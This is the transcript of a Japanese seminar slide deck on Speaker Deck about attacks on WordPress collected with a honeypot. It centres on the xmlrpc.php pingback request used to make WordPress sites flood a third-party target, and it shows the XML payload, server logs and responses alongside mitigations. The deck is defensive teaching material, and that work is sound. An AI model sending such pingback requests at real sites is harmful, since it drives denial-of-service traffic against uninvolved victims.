Upgrade to Pro
— share decks privately, control downloads, hide ads and more …
Speaker Deck
Features
Speaker Deck
PRO
Sign in
Sign up for free
Search
Search
ハニーポットで捕らえるWordPressへの攻撃
Search
junk_coken
August 04, 2016
Technology
1
3.8k
ハニーポットで捕らえるWordPressへの攻撃
OSCKyoto2016 国立セキュリティ・キャンプ第12期同窓会
セミナー資料
junk_coken
August 04, 2016
Tweet
Share
More Decks by junk_coken
See All by junk_coken
HTTPSハニポとFingerprint
junk_coken
1
2k
6/14総サイLT~ハニーポットを作ってる話~
junk_coken
0
1.8k
ハニーポットで集める攻撃手法-seccamp2016
junk_coken
2
950
Other Decks in Technology
See All in Technology
Tech Blog執筆のモチベート向上作戦
imamura_ko_0314
0
740
CloudWatch Container Insightsを使ったAmazon ECSのリソース監視
umekou
1
120
2025/1/29 BigData-JAWS 勉強会 #28 (re:Invent 2024 re:Cap)/new-feature-preview-q-in-quicksight-scenarios-tried-and-tested
emiki
0
310
MCP server を作って Claude Desktop アプリから kintone へアクセスすると楽しい
r3_yamauchi
PRO
1
120
[TechNight #86] Oracle GoldenGate - 23ai 最新情報&プロジェクトからの学び
oracle4engineer
PRO
1
170
信頼性を支えるテレメトリーパイプラインの構築 / Building Telemetry Pipeline with OpenTelemetry
ymotongpoo
9
5k
Grafanaのvariables機能について
tiina
0
180
プロダクト開発、インフラ、コーポレート、そしてAIとの共通言語としての Terraform / Terraform as a Common Language for Product Development, Infrastructure, Corporate Engineering, and AI
yuyatakeyama
6
1.6k
20250125_Agent for Amazon Bedrock試してみた
riz3f7
2
110
ObservabilityCON on the Road Tokyoの見どころ
hamadakoji
0
210
消し忘れリソースゼロへ!私のResource Explorer活用法
cuorain
0
140
エンジニアとしてプロダクトマネジメントに向き合った1年半
sansantech
PRO
0
100
Featured
See All Featured
Facilitating Awesome Meetings
lara
51
6.2k
A designer walks into a library…
pauljervisheath
205
24k
How To Stay Up To Date on Web Technology
chriscoyier
790
250k
Designing for humans not robots
tammielis
250
25k
Why Our Code Smells
bkeepers
PRO
335
57k
The Straight Up "How To Draw Better" Workshop
denniskardys
232
140k
GitHub's CSS Performance
jonrohan
1030
460k
KATA
mclloyd
29
14k
Docker and Python
trallard
43
3.2k
Building Flexible Design Systems
yeseniaperezcruz
328
38k
Intergalactic Javascript Robots from Outer Space
tanoku
270
27k
Music & Morning Musume
bryan
46
6.3k
Transcript
ハニーポットで捕らえる WordPressへの攻撃 国立セキュリティ・キャンプ第12期同窓會 junk_coken (@junk_coken)
自己紹介 •@junk_coken •セキュリティ・キャンプ全国大会2015参加 • 2016検知トラックチューター •ハニーポットを中心に独学研究している 自称ハニーポッター見習い
セミナー内容 •ハニーポットの紹介 •ハニーポットで捕れた WordPressへの攻撃解説 •時間の都合上1つだけ
ハニーポットとは?
ハニーポットとは? • わざと脆弱性がありそうなシステムを設置、 それに対して行われる攻撃ログ、マルウェアを収集する • 別に脆弱性を持っている必要はない • クラッカーの攻撃手法やマルウェアの実態がわかる
ハニーポットの環境
今回のハニーポット • NginxとWordPressで作ったハニーポット • 実際のシステムを使うことでより特化し柔軟なハニーポットに なる (ただしそれなりにリスクはある) • Raspberry Pi
2 & Raspbian • Raspberry Piでも十分快適!!!
今回の収集対象 •基本的にはHTTPのHTTPリクエスト(GET,POST) •WordPressなので、主にWordPressに対する攻撃を 集める • WordPress以外に対する攻撃も取れる
WordPress • ご存知有名なブログシステム • Pluginを利用することで拡張することができる • 今回は最低限のPluginを入れておく • 自作記事自動投稿プラグイン(ズンドコするやつ) •
WP-Mail-SMTP • Contact form 7 • Disable XML-RPC Pingback • 攻撃の有無はログで見分ける!
• (画像)
攻撃解説 xmlrpc.phpによるDDoS
XMLRPC.phpを狙ったDDoS踏み台攻撃 IPアドレス - - [日時] "GET /feed/ HTTP/1.1" 200 ※見辛いためログを簡略化しています
IPアドレス - - [日時] “POST /xmlrpc.php HTTP/1.0” 499 “<?xmlversion=¥x221.0¥x22?><methodCall><methodName>pingback.ping</m ethodName><params><param><value><string>外部のアドレス </string></value></param><param><value><string>記事のアドレス </string></value></param></params></methodCall>“ IPアドレス - - [日時] “POST /xmlrpc.php HTTP/1.0” 499 “<?xmlversion=¥x221.0¥x22?><methodCall><methodName>pingback.ping</m ethodName><params><param><value><string>外部のアドレス </string></value></param><param><value><string>記事のアドレス </string></value></param></params></methodCall>"
行動をトレースしてみる
①GET /feed/ XMLが返ってくる RSSのためのXML
①GET /feed/ <?xml version”1.0” encoding=“UTF-8”?> ・ ・ ・ <channel> ・
・ ・ <title>2016年07月26日、本日のZUNDOKOKIYOSHI!!</title> <link>記事URL</link> <comments>記事URL/#respond</comments> <pubDate>Mon, 25 Jul 2016 15:20:33 +0000</pubDate> <dc:creator><![CDATA[zundoko]]></dc:creator> <category><![CDATA[未分類]]></category> ↙記事があるかどうかをチェック
②POST /xmlrpc.php -request Content Type:application/xml “<?xml version= 1.0 ?> <methodCall>
<methodName>pingback.ping</methodName> <params><param> <value><string>攻撃先URL</string></value> </param><param> <value><string>WordPressの記事</string></value> </param></params> </methodCall>" このリクエストを何度も送信!!(DoS)
そもそもxmlrpc.phpとは? • XML-RPCというプロトコル • データをXMLで送受信しやすくするためのプロトコル • WordPressでXML-RPCを使うAPIが提供されている • XML-RPC WordPress
API • Blogger API, metaWeblog API, Movable Type API, Pingback API • xmlrpc.phpはXML-RPCのAPIを直接利用する • DDoSはXML-RPC API内のPingbackAPIを悪用し行われる
PingbackAPI • DDoSに悪用されるが、当然想定外 • PingBackは、他人の記事をリンクしたときに 「リンクしましたよ」と伝える機能 • このWordPress PingBackAPIは、WordPress同士での利用を想定して いる
• リンクした側がWordPressなら、リンクされた側がWordPressでなくても 送られる ↓ 悪用に繋がる
Pingback通常の動作 -request リンクするサイト:http://A.ex リンクされるサイト:http://B.ex POST http://B.ex/xmlrpc.php <?xml version= 1.0 ?>
<methodCall> <methodName>pingback.ping</methodName> <params> <param><value><string>http://A.ex/blogno1</string></value></param> <param><value><string>http://B.ex/blogno1</string></value></param> </params> </methodCall>
Pingback通常の動作 -response <?xml version="1.0" encoding="UTF-8"?> <methodResponse> <params><param><value> <string>http://A.ex より http://B.exへのピンバックが登録されま
した。ウェブでの会話を続けてください ! :-)</string> </value></param></params> </methodResponse>
Pingback通常の動作 -Arequest • 同時に、このリクエストも送信される GET http://B.ex/blogno1 UserAgent:“WordPress/4.5.3; http://A.ex; verifying pingback
from 送信元IP"
Pingback通常の動作(もう一回) -request POST /xmlrpc.php <?xml version= 1.0 ?> <methodCall> <methodName>pingback.ping</methodName>
<params> <param><value><string>http://A.ex/blogno1</string></value></param> <param><value><string>http://B.ex/blogno1</string></value></param> </params> </methodCall>
Pingback通常の動作(もう一回) -response <?xml version="1.0" encoding="UTF-8"?> <methodResponse> <fault> <value><struct><member> <name>faultCode</name> <value><int>48</int></value>
</member><member> <name>faultString</name> <value><string>そのピンバックはすでに登録済みです。</string></value> </member></struct></value> </fault> </methodResponse>
Pingback通常の動作(もう一回) -request •今度は、GETリクエストは送られない
どうやって悪用するか?
Pingback悪用時の動作 -request POST /xmlrpc.php <?xml version= 1.0 ?> <methodCall> <methodName>pingback.ping</methodName>
<params> <param><value><string>攻撃対象のURL</string></value></param> <param><value><string>WordPressの記事</string></value></param> </params> </methodCall>
Pingback悪用時の動作 -response <?xml version="1.0" encoding="UTF-8"?> <methodResponse> <fault> <value><struct><member> <name>faultCode</name> <value><int>0</int></value>
</member><member> <name>faultString</name> <value><string></string></value> </member></struct></value> </fault> </methodResponse>
Pingback悪用時の動作 -攻撃対象へのreq WordPressのIP - - [日時] “GET / HTTP/1.0” 200
25805 “-” “WordPress/4.5.3; WordPressのURL; verifying pingback from 攻撃者のIP" "-" "-" • WordPressではないのにアクセスされる・・・。
Pingback悪用時の動作(もう一回) -request POST /xmlrpc.php <?xml version= 1.0 ?> <methodCall> <methodName>pingback.ping</methodName>
<params> <param><value><string>攻撃対象のURL</string></value></param> <param><value><string>WordPressの記事</string></value></param> </params> </methodCall>
Pingback悪用時の動作(もう一回) -response <?xml version="1.0" encoding="UTF-8"?> <methodResponse> <fault> <value><struct><member> <name>faultCode</name> <value><int>0</int></value>
</member><member> <name>faultString</name> <value><string></string></value> </member></struct></value> </fault> </methodResponse>
Pingback悪用時の動作 -攻撃対象へのreq WordPressのIP - - [日時] “GET / HTTP/1.0” 200
25805 “-” “WordPress/4.5.3; WordPressのURL; verifying pingback from 攻撃者のIP" "-" "-" • 何度でも可能 ↓ • DDoSへ悪用
まとめ • WordPressのxmlrpc.phpはデフォルトでDDoSの脆弱性を抱えている • 悪用されないためには、xmlrpc.phpにアクセス制限を掛ける、 もしくはPingback APIを無効化するプラグインを利用する • しかし、プラグインによる無効化だとDoS自体は解消されない (VPS等ではお叱りを受ける可能性がある)
• ただし、このDDoSは効果が薄い • DDoSと同じ量をDoSしないといけない(1アクセスにつき1回) • 攻撃元IPがUserAgentであるが晒される • 非効率的だが、デフォルトで存在するので成功率は高い
おまけ ハニーポット、やってみませんか?
初めてのハニーポット • ハニーポットは大きく分けて2種類 • 低対話型:サービスをエミュレーション • 高対話型:実際のサービスをそのまま使う • Webサービスに対する攻撃を集めたい場合、 特に何もしないHTMLを置いておくだけでもある程度取れる。
• ただし高対話型なので更新は怠らないように • マルウェアを集めて解析を行いたい場合、低対話型を使う • おすすめはSSHハニーポットCowrie • ごりごりマルウェアが放り込まれる
注意点 • 契約プロバイダの禁止事項に抵触しないよう確認の上作りましょう。 • ハニーポットで知った攻撃方法を自分の管理外のコンピュータなど で試してはいけません。 • アクセス制御はしっかり行いましょう。 • 定期的にメンテナンスしましょう。
君も攻撃の実状を 確かみてみろ!!! -終-